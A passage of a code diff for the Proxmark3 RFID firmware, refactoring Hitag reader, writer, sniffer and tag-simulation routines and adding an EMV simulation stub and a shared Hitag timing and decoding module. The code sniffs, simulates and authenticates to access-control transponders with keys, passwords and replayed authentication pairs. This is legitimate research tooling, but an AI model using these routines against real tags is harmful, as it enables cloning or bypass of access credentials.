case ISO7816_SELECT_FILE: {
Dbprintf("SELECT FILE");
break;
}
case ISO7816_VERIFY: {
Dbprintf("VERIFY");
break;
}
default: {
Dbprintf("NOT RECOGNISED");
break;
}
}
}

30
armsrc/emvsim.h Normal file
View file

@ -0,0 +1,30 @@
//-----------------------------------------------------------------------------
// Copyright (C) Gerhard de Koning Gans - May 2008
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Mifare Classic Card Simulation
//-----------------------------------------------------------------------------
#ifndef __EMVSIM_H
#define __EMVSIM_H
#include "common.h"
#define AUTHKEYNONE 0xff
void EMVsim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak);
void annotate(uint8_t *cmd, uint8_t cmdsize);
#endif

View file

@ -649,5 +649,5 @@ void EPA_PACE_Simulate(const PacketCommandNG *c) {
Dbprintf("Standardized Domain Parameter: %i", pace_version_info.parameter_id);
DbpString("");
DbpString("finished");
DbpString("Done!");
}

View file

@ -241,8 +241,8 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// We try 10 times, or if answer was received.
int len = 25;
do {
// end-of-reception response packet data, wait approx. 501μs
// end-of-transmission command packet data, wait approx. 197μs
// end-of-reception response packet data, wait approx. 501µs
// end-of-transmission command packet data, wait approx. 197µs
// polling card
TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0);
@ -497,7 +497,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
BigBuf_Clear_ext(false);
// Initialize Demod and Uart structs
// DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
// DemodInit(BigBuf_calloc(MAX_FRAME_SIZE));
FelicaFrameinit(BigBuf_calloc(FELICA_MAX_FRAME_SIZE));
felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418

View file

@ -185,7 +185,9 @@ void FpgaSetupSsc(uint16_t fpga_mode) {
// ourselves, not to another buffer).
//-----------------------------------------------------------------------------
bool FpgaSetupSscDma(uint8_t *buf, uint16_t len) {
if (buf == NULL) return false;
if (buf == NULL) {
return false;
}
FpgaDisableSscDma();
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) buf; // transfer to this memory address
@ -521,10 +523,11 @@ void FpgaDownloadAndGo(int bitstream_target) {
lz4_stream_t compressed_fpga_stream;
LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }};
compressed_fpga_stream.lz4StreamDecode = &lz4StreamDecode_body;
uint8_t *output_buffer = BigBuf_malloc(FPGA_RING_BUFFER_BYTES);
uint8_t *output_buffer = BigBuf_calloc(FPGA_RING_BUFFER_BYTES);
if (!reset_fpga_stream(bitstream_target, &compressed_fpga_stream, output_buffer))
if (reset_fpga_stream(bitstream_target, &compressed_fpga_stream, output_buffer) == false) {
return;
}
uint32_t bitstream_length;
if (bitparse_find_section(bitstream_target, 'e', &bitstream_length, &compressed_fpga_stream, output_buffer)) {

View file

@ -26,7 +26,7 @@
#include "nprintf.h"
#include "BigBuf.h"
#define malloc(X) BigBuf_malloc(X)
#define malloc(X) BigBuf_calloc(X)
#define free(X)
#if !defined(WEAK)
@ -1360,7 +1360,7 @@ int json_prettify(const char *s, int len, struct json_out *out) {
int json_prettify_file(const char *file_name) WEAK;
int json_prettify_file(const char *file_name) {
int res = -1;
char *s = json_fread(file_name);
const char *s = json_fread(file_name);
FILE *fp;
if (s != NULL && (fp = fopen(file_name, "wb")) != NULL) {
struct json_out out = JSON_OUT_FILE(fp);
@ -1369,6 +1369,9 @@ int json_prettify_file(const char *file_name) {
/* On error, restore the old content */
fclose(fp);
fp = fopen(file_name, "wb");
if (fp == NULL) {
return -1;
}
fseek(fp, 0, SEEK_SET);
fwrite(s, 1, strlen(s), fp);
} else {

View file

@ -107,7 +107,7 @@ int HfSniff(uint32_t samplesToSkip, uint32_t triggersToSkip, uint16_t *len, uint
SpinDelay(100);
*len = BigBuf_max_traceLen();
uint8_t *mem = BigBuf_malloc(*len);
uint8_t *mem = BigBuf_calloc(*len);
uint32_t trigger_cnt = 0;
uint16_t r = 0, interval = 0;

View file

@ -14,8 +14,6 @@
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
#define DBG if (g_dbglevel >= DBG_EXTENDED)
#include "hitag2.h"
#include "hitag2/hitag2_crypto.h"
#include "string.h"
@ -322,7 +320,7 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_
// reader/writer
// returns how long it took
static uint32_t hitag_reader_send_bit(int bit) {
static uint32_t hitag2_reader_send_bit(int bit) {
// Binary pulse length modulation (BPLM) is used to encode the data stream
// This means that a transmission of a one takes longer than that of a zero
@ -351,13 +349,13 @@ static uint32_t hitag_reader_send_bit(int bit) {
// reader / writer commands
// frame_len is in number of bits?
static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) {
static uint32_t hitag2_reader_send_frame(const uint8_t *frame, size_t frame_len) {
WDT_HIT();
uint32_t wait = 0;
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
wait += hitag2_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
}
// Send EOF
@ -380,14 +378,14 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
// reader / writer commands
// frame_len is in number of bits?
static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) {
static uint32_t hitag2_reader_send_framebits(const uint8_t *frame, size_t frame_len) {
WDT_HIT();
uint32_t wait = 0;
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
wait += hitag_reader_send_bit(frame[i]);
wait += hitag2_reader_send_bit(frame[i]);
}
// Send EOF
@ -456,11 +454,16 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t
/*tx[0] = 0xb0; // Rev 3.0*/
tx[0] = HITAG1_SET_CC; // Rev 2.0
*txlen = 5;
if (!bCollision) blocknr--;
if (bCollision == false) {
blocknr--;
}
if (blocknr < 0) {
blocknr = 0;
}
if (!hitag_s) {
if (hitag_s == false) {
if (blocknr > 1 && blocknr < 31) {
blocknr = 31;
}
@ -485,11 +488,13 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t
} else {
memcpy(tag.sectors[blocknr], rx, 4);
blocknr++;
if (!hitag_s) {
if (hitag_s == false) {
if (blocknr > 1 && blocknr < 31) {
blocknr = 31;
}
}
if (blocknr > 63) {
DbpString("Read successful!");
*txlen = 0;
@ -505,18 +510,16 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t
tx[2] = crc << 4;
*txlen = 20;
}
break;
}
break;
default: {
Dbprintf("Unknown frame length: %d", rxlen);
return false;
}
break;
}
return true;
}
static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) {
uint8_t crc;
*txlen = 0;
@ -526,18 +529,24 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si
/*tx[0] = 0xb0; // Rev 3.0*/
tx[0] = HITAG1_SELECT; // Rev 2.0
*txlen = 5;
if (bCrypto && byte_value <= 0xff) {
// to retry
bCrypto = false;
}
if (!bCollision) blocknr--;
if (bCollision == false) {
blocknr--;
}
if (blocknr < 0) {
blocknr = 0;
}
bCollision = true;
// will receive 32-bit UID
break;
}
break;
case 2: {
if (bAuthenticating) {
// received Auth init ACK, send nonce
@ -562,8 +571,8 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si
*txlen = 20;
// will receive 32-bit encrypted page
}
break;
}
break;
case 32: {
if (bCollision) {
// Select card by serial from response
@ -629,13 +638,12 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si
*txlen = 20;
*/
}
break;
}
break;
default: {
Dbprintf("Unknown frame length: %d", rxlen);
return false;
}
break;
}
return true;
@ -715,8 +723,8 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t
}
*txlen = 5;
memcpy(tx, "\xC0", nbytes(*txlen));
break;
}
break;
// Received UID, tag password
case 32: {
@ -730,7 +738,9 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t
// stage 2, got config byte+password TAG, discard as will read later
if (bAuthenticating) {
bAuthenticating = false;
if (write) {
if (!hitag2_write_page(rx, rxlen, tx, txlen)) {
return false;
}
@ -752,15 +762,13 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t
tx[0] = HITAG2_READ_PAGE | (blocknr << 3) | ((blocknr ^ 7) >> 2);
tx[1] = ((blocknr ^ 7) << 6);
}
break;
}
break;
// Unexpected response
default: {
DBG Dbprintf("Unknown frame length: " _RED_("%d"), rxlen);
return false;
}
break;
}
}
@ -823,12 +831,17 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *
// stage 1, got UID
if (bCrypto == false) {
uint64_t ui64key = key[0] |
((uint64_t)key[1]) << 8 |
((uint64_t)key[2]) << 16 |
((uint64_t)key[3]) << 24 |
((uint64_t)key[4]) << 32 |
((uint64_t)key[5]) << 40;
uint32_t ui32uid = MemLeToUint4byte(rx);
DBG Dbprintf("hitag2_crypto: key array ");
DBG Dbhexdump(6, key, false);
uint64_t ui64key = key[0] | ((uint64_t)key[1]) << 8 | ((uint64_t)key[2]) << 16 | ((uint64_t)key[3]) << 24 | ((uint64_t)key[4]) << 32 | ((uint64_t)key[5]) << 40;
uint32_t ui32uid = rx[0] | ((uint32_t)rx[1]) << 8 | ((uint32_t)rx[2]) << 16 | ((uint32_t)rx[3]) << 24;
DBG Dbprintf("hitag2_crypto: key=0x%x%x uid=0x%x"
, (uint32_t)((REV64(ui64key)) >> 32)
, (uint32_t)((REV64(ui64key)) & 0xffffffff)
@ -1000,9 +1013,8 @@ static bool hitag2_test_auth_attempts(uint8_t *rx, const size_t rxlen, uint8_t *
}
*txlen = 5;
memcpy(tx, "\xc0", nbytes(*txlen));
break;
}
break;
// Received UID, crypto tag answer, or read block response
case 32: {
if (bCrypto == false) {
@ -1018,16 +1030,13 @@ static bool hitag2_test_auth_attempts(uint8_t *rx, const size_t rxlen, uint8_t *
auth_table_pos += 8;
memcpy(NrAr, auth_table + auth_table_pos, 8);
}
break;
}
break;
default: {
Dbprintf("Unknown frame length: " _RED_("%d"), rxlen);
return false;
}
break;
}
return true;
}
@ -1038,7 +1047,6 @@ void hitag_sniff(void) {
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
// Set up eavesdropping mode, frequency divisor which will drive the FPGA
@ -1063,7 +1071,6 @@ void SniffHitag2(bool ledcontrol) {
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
/*
@ -1420,7 +1427,6 @@ void SimulateHitag2(bool ledcontrol) {
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
// empties bigbuff etc
@ -1432,12 +1438,7 @@ void SimulateHitag2(bool ledcontrol) {
auth_table_len = 0;
auth_table_pos = 0;
// auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH);
// memset(auth_table, 0x00, AUTH_TABLE_LENGTH);
// Reset the received frame, frame count and timing info
// memset(rx, 0x00, sizeof(rx));
// memset(tx, 0x00, sizeof(tx));
// auth_table = BigBuf_calloc(AUTH_TABLE_LENGTH);
DbpString("Starting Hitag 2 simulation");
@ -1673,14 +1674,14 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
// Check configuration
switch (payload->cmd) {
case RHT1F_PLAIN: {
case HT1F_PLAIN: {
DBG Dbprintf("Read public blocks in plain mode");
// this part will be unreadable
memset(tag.sectors + 2, 0x0, 30);
blocknr = 0;
break;
}
case RHT1F_AUTHENTICATE: {
case HT1F_AUTHENTICATE: {
DBG Dbprintf("Read all blocks in authed mode");
memcpy(nonce, payload->nonce, 4);
@ -1706,7 +1707,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
blocknr = 0;
break;
}
case RHT2F_PASSWORD: {
case HT2F_PASSWORD: {
DBG Dbprintf("List identifier in password mode");
if (memcmp(payload->pwd, "\x00\x00\x00\x00", 4) == 0) {
memcpy(password, tag.sectors[1], sizeof(password));
@ -1718,7 +1719,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
bAuthenticating = false;
break;
}
case RHT2F_AUTHENTICATE: {
case HT2F_AUTHENTICATE: {
DBG DbpString("Authenticating using NrAr pair:");
memcpy(NrAr, payload->NrAr, 8);
DBG Dbhexdump(8, NrAr, false);
@ -1729,7 +1730,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
bAuthenticating = false;
break;
}
case RHT2F_CRYPTO: {
case HT2F_CRYPTO: {
DBG DbpString("Authenticating using key:");
memcpy(key, payload->key, 6); //HACK; 4 or 6?? I read both in the code.
DBG Dbhexdump(6, key, false);
@ -1741,7 +1742,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
bAuthenticating = false;
break;
}
case RHT2F_TEST_AUTH_ATTEMPTS: {
case HT2F_TEST_AUTH_ATTEMPTS: {
DBG Dbprintf("Testing " _YELLOW_("%d") " authentication attempts", (auth_table_len / 8));
auth_table_pos = 0;
memcpy(NrAr, auth_table, 8);
@ -1819,27 +1820,27 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
// By default reset the transmission buffer
tx = txbuf;
switch (payload->cmd) {
case RHT1F_PLAIN: {
case HT1F_PLAIN: {
bStop = !hitag1_plain(rx, rxlen, tx, &txlen, false);
break;
}
case RHT1F_AUTHENTICATE: {
case HT1F_AUTHENTICATE: {
bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen);
break;
}
case RHT2F_PASSWORD: {
case HT2F_PASSWORD: {
bStop = !hitag2_password(rx, rxlen, tx, &txlen, false);
break;
}
case RHT2F_AUTHENTICATE: {
case HT2F_AUTHENTICATE: {
bStop = !hitag2_authenticate(rx, rxlen, tx, &txlen, false);
break;
}
case RHT2F_CRYPTO: {
case HT2F_CRYPTO: {
bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, false);
break;
}
case RHT2F_TEST_AUTH_ATTEMPTS: {
case HT2F_TEST_AUTH_ATTEMPTS: {
bStop = !hitag2_test_auth_attempts(rx, rxlen, tx, &txlen);
break;
}
@ -1868,7 +1869,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
}
// Transmit the reader frame
command_duration = hitag_reader_send_frame(tx, txlen);
command_duration = hitag2_reader_send_frame(tx, txlen);
response_start = command_start + command_duration;
// Let the antenna and ADC values settle
@ -1960,9 +1961,10 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
memset(rx, 0x00, sizeof(rx));
rxlen = 0;
// If there is no response, just repeat the loop
// If there is no response
if (detected_tag_modulation == false) {
continue;
checked = -1;
goto out;
}
// Make sure we always have an even number of samples. This fixes the problem
@ -2089,17 +2091,17 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
// Check configuration
switch (payload->cmd) {
case WHT2F_CRYPTO: {
DbpString("Authenticating using key:");
case HT2F_CRYPTO: {
DBG DbpString("Authenticating using key:");
memcpy(key, payload->key, 6); //HACK; 4 or 6?? I read both in the code.
memcpy(writedata, payload->data, 4);
Dbhexdump(6, key, false);
blocknr = payload->page;
bCrypto = false;
bAuthenticating = false;
break;
}
break;
case WHT2F_PASSWORD: {
case HT2F_PASSWORD: {
DBG DbpString("Authenticating using password:");
if (memcmp(payload->pwd, "\x00\x00\x00\x00", 4) == 0) {
memcpy(password, tag.sectors[1], sizeof(password));
@ -2111,14 +2113,13 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
blocknr = payload->page;
bPwd = false;
bAuthenticating = false;
break;
}
break;
default: {
Dbprintf("Error, unknown function: " _RED_("%d"), payload->cmd);
DBG Dbprintf("Error, unknown function: " _RED_("%d"), payload->cmd);
reply_ng(CMD_LF_HITAG2_WRITE, PM3_ESOFT, NULL, 0);
return;
}
break;
}
if (ledcontrol) LED_D_ON();
@ -2186,11 +2187,11 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
tx = txbuf;
switch (payload->cmd) {
case WHT2F_CRYPTO: {
case HT2F_CRYPTO: {
bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, true);
break;
}
case WHT2F_PASSWORD: {
case HT2F_PASSWORD: {
bStop = !hitag2_password(rx, rxlen, tx, &txlen, true);
break;
}
@ -2218,7 +2219,7 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) {
}
// Transmit the reader frame
command_duration = hitag_reader_send_frame(tx, txlen);
command_duration = hitag2_reader_send_frame(tx, txlen);
// global write state variable used
// tearoff occurred
@ -2438,9 +2439,9 @@ static void ht2_send(bool turn_on, uint32_t *cmd_start
// Transmit the reader frame
if (send_bits) {
*cmd_duration = hitag_reader_send_framebits(tx, txlen);
*cmd_duration = hitag2_reader_send_framebits(tx, txlen);
} else {
*cmd_duration = hitag_reader_send_frame(tx, txlen);
*cmd_duration = hitag2_reader_send_frame(tx, txlen);
}
*resp_start = (*cmd_start + *cmd_duration);
@ -2590,7 +2591,6 @@ bool ht2_packbits(uint8_t *nrz_samples, size_t nrzs, uint8_t *rx, size_t *rxlen)
}
return true;
}
int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) {
g_logging = false;
@ -2600,6 +2600,7 @@ int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_fiel
clear_trace();
}
// hitag 2 state machine?
hitag2_init();

File diff suppressed because it is too large Load diff

View file

@ -24,8 +24,9 @@
#include "common.h"
#include "hitag.h"
void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol);
void ReadHitagS(const lf_hitag_data_t *payload, bool ledcontrol);
void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol);
void Hitag_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol);
void hts_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol);
void hts_read(const lf_hitag_data_t *payload, bool ledcontrol);
void hts_write_page(const lf_hitag_data_t *payload, bool ledcontrol);
void hts_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol);
int hts_read_uid(uint32_t *uid, bool ledcontrol, bool send_answer);
#endif

539
armsrc/hitag_common.c Normal file
View file

@ -0,0 +1,539 @@
//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Hitag shared functionality
//-----------------------------------------------------------------------------
#include "hitag_common.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "string.h"
#include "commonutil.h"
#include "hitag2/hitag2_crypto.h"
#include "lfadc.h"
#include "crc.h"
#include "protocols.h"
#include "appmain.h" // tearoff_hook()
uint16_t timestamp_high = 0; // Timer Counter 2 overflow count, combined with TC2 counter for ~47min timing
static void hitag_stop_clock(void) {
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS;
}
static void hitag_init_clock(void) {
// Enable Peripheral Clock for
// Timer Counter 0, used to measure exact timing before answering
// Timer Counter 1, used to capture edges of the tag frames
// Timer Counter 2, used to log trace time
AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2);
AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME;
// Disable timer during configuration
hitag_stop_clock();
// TC0: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK;
// TC1: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger,
AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK // use MCK/32 (TIMER_CLOCK3)
| AT91C_TC_ABETRG // TIOA is used as an external trigger
| AT91C_TC_ETRGEDG_FALLING // external trigger on falling edge
| AT91C_TC_LDRA_RISING // load RA on on rising edge of TIOA
| AT91C_TC_LDRB_FALLING; // load RB on on falling edge of TIOA
// TC2: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers
AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK;
// Enable and reset counters
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Assert a sync signal. This sets all timers to 0 on next active clock edge
AT91C_BASE_TCB->TCB_BCR = 1;
// synchronized startup procedure
// In theory, with MCK/32, we shouldn't be waiting longer than 32 instruction statements, right?
while (AT91C_BASE_TC0->TC_CV != 0) {
}; // wait until TC0 returned to zero
// reset timestamp
timestamp_high = 0;
}
// Initialize FPGA and timer for Hitag operations
void hitag_setup_fpga(uint16_t conf, uint8_t threshold, bool ledcontrol) {
StopTicks();
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
// Clean up trace and prepare it for storing frames
set_tracing(true);
clear_trace();
if (ledcontrol) LED_D_ON();
hitag_init_clock();
// Set fpga in edge detect with/without reader field, we can modulate as reader/tag now
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | conf);
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz
if (threshold != 127) FpgaSendCommand(FPGA_CMD_SET_EDGE_DETECT_THRESHOLD, threshold);
SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
// Configure output and enable pin that is connected to the FPGA (for modulating)
AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT;
// Disable modulation at default, which means enable the field
LOW(GPIO_SSC_DOUT);
}
// Clean up and finalize Hitag operations
void hitag_cleanup(bool ledcontrol) {
hitag_stop_clock();
set_tracing(false);
lf_finalize(ledcontrol);
}
// Reader functions
static void hitag_reader_send_bit(int bit, bool ledcontrol) {
// Reset clock for the next bit
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
while (AT91C_BASE_TC0->TC_CV != 0) {};
if (ledcontrol) LED_A_ON();
// Binary puls length modulation (BPLM) is used to encode the data stream
// This means that a transmission of a one takes longer than that of a zero
HIGH(GPIO_SSC_DOUT);
// Wait for 4-10 times the carrier period
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {};
LOW(GPIO_SSC_DOUT);
if (bit == 0) {
// Zero bit: |_-|
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_0) {};
} else {
// One bit: |_--|
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_1) {};
}
if (ledcontrol) LED_A_OFF();
}
void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol, bool send_sof) {
// Send SOF (Start of Frame) for Hitag µ if requested
if (send_sof) {
hitag_reader_send_bit(0, ledcontrol);
// Reset clock for the code violation
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
while (AT91C_BASE_TC0->TC_CV != 0) {};
if (ledcontrol) LED_A_ON();
// SOF is HIGH for HITAG_T_LOW
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {};
// Then LOW for HITAG_T_CODE_VIOLATION
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_CODE_VIOLATION) {};
if (ledcontrol) LED_A_OFF();
}
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
hitag_reader_send_bit(TEST_BIT_MSB(frame, i), ledcontrol);
}
// Send EOF
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
while (AT91C_BASE_TC0->TC_CV != 0) {};
HIGH(GPIO_SSC_DOUT);
// Wait for 4-10 times the carrier period
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {};
LOW(GPIO_SSC_DOUT);
}
void hitag_reader_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *resptime, bool ledcontrol,
MOD modulation, int sof_bits) {
// Reset values for receiving frames
memset(rx, 0x00, sizeofrx);
*rxlen = 0;
int lastbit = 1;
bool bSkip = true;
uint32_t errorCount = 0;
bool bStarted = false;
uint16_t next_edge_event = AT91C_TC_LDRBS;
int double_speed = (modulation == AC4K || modulation == MC8K) ? 2 : 1;
uint32_t rb_i = 0;
uint8_t edges[160] = {0};
// Skip SOF bits
bool sof_received = false;
// Receive tag frame, watch for at most T0*HITAG_T_PROG_MAX periods
while (AT91C_BASE_TC0->TC_CV < (T0 * HITAG_T_PROG_MAX)) {
// Check if edge in tag modulation is detected
if (AT91C_BASE_TC1->TC_SR & next_edge_event) {
next_edge_event = next_edge_event ^ (AT91C_TC_LDRAS | AT91C_TC_LDRBS);
// only use AT91C_TC_LDRBS falling edge for now
if (next_edge_event == AT91C_TC_LDRBS) continue;
// Retrieve the new timing values
uint32_t rb = AT91C_BASE_TC1->TC_RB / T0;
edges[rb_i++] = rb;
// Reset timer every frame, we have to capture the last edge for timing
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
if (ledcontrol) LED_B_INV();
// Capture tag frame (manchester decoding using only falling edges)
if (bStarted == false) {
if (rb >= HITAG_T_WAIT_RESP) {
bStarted = true;
// Capture tag response timestamp
*resptime = TIMESTAMP;
// We always receive a 'one' first, which has the falling edge after a half period |-_|
rx[0] = 0x80;
*rxlen = 1;
} else {
errorCount++;
}
} else {
// Handle different modulation types
if (modulation == AC2K || modulation == AC4K) {
// Anticollision Coding
if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) {
// Anticollision Coding example |--__|--__| (00)
lastbit = 0;
// CLEAR_BIT_MSB(rx, *rxlen);
(*rxlen)++;
} else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) {
// Anticollision Coding example |-_-_|--__| (10) or |--__|-_-_| (01)
lastbit = !lastbit;
if (lastbit) SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
bSkip = !!lastbit;
} else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) {
// Anticollision Coding example |-_-_| (1)
if (bSkip == false) {
lastbit = 1;
SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
}
bSkip = !bSkip;
} else {
// Ignore weird value, is to small to mean anything
errorCount++;
}
} else {
// Manchester coding (MC4K, MC8K)
if (rb >= HITAG_T_TAG_CAPTURE_FOUR_HALF / double_speed) {
// Manchester coding example |-_|_-|-_| (101)
// CLEAR_BIT_MSB(rx, *rxlen);
(*rxlen)++;
SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
} else if (rb >= HITAG_T_TAG_CAPTURE_THREE_HALF / double_speed) {
// Manchester coding example |_-|...|_-|-_| (0...01)
// CLEAR_BIT_MSB(rx, *rxlen);
(*rxlen)++;
// We have to skip this half period at start and add the 'one' the second time
if (bSkip == false) {
SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
}
lastbit = !lastbit;
bSkip = !bSkip;
} else if (rb >= HITAG_T_TAG_CAPTURE_TWO_HALF / double_speed) {
// Manchester coding example |_-|_-| (00) or |-_|-_| (11)
// bit is same as last bit
if (lastbit) SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
} else {
// Ignore weird value, is to small to mean anything
errorCount++;
}
}
// Handle SOF bits
if (sof_received == false && *rxlen >= sof_bits) {
// Check if SOF is valid (all bits should be 1)
if ((rx[0] >> (8 - sof_bits)) != ((1 << sof_bits) - 1)) {
if (sof_bits == 4) {
sof_bits = 3;
// Hitag µ is LSB first 0b110
if ((rx[0] & 0xE0) != 0xC0) {
DBG Dbprintf("Warning, SOF is invalid rx[0]: 0x%02X", rx[0]);
}
} else {
DBG DbpString("Warning, not all bits of SOF are 1");
}
}
*rxlen -= sof_bits;
uint8_t tmp = rx[0];
rx[0] = 0x00;
for (size_t i = 0; i < *rxlen; i++) {
if (TEST_BIT_MSB(&tmp, sof_bits + i)) SET_BIT_MSB(rx, i);
}
// DBG Dbprintf("after sof_bits rxlen: %d rx[0]: 0x%02X", *rxlen, rx[0]);
sof_received = true;
}
}
}
// if we saw over 100 weird values break it probably isn't hitag...
if (errorCount > 100 || (*rxlen) / 8 >= sizeofrx) {
break;
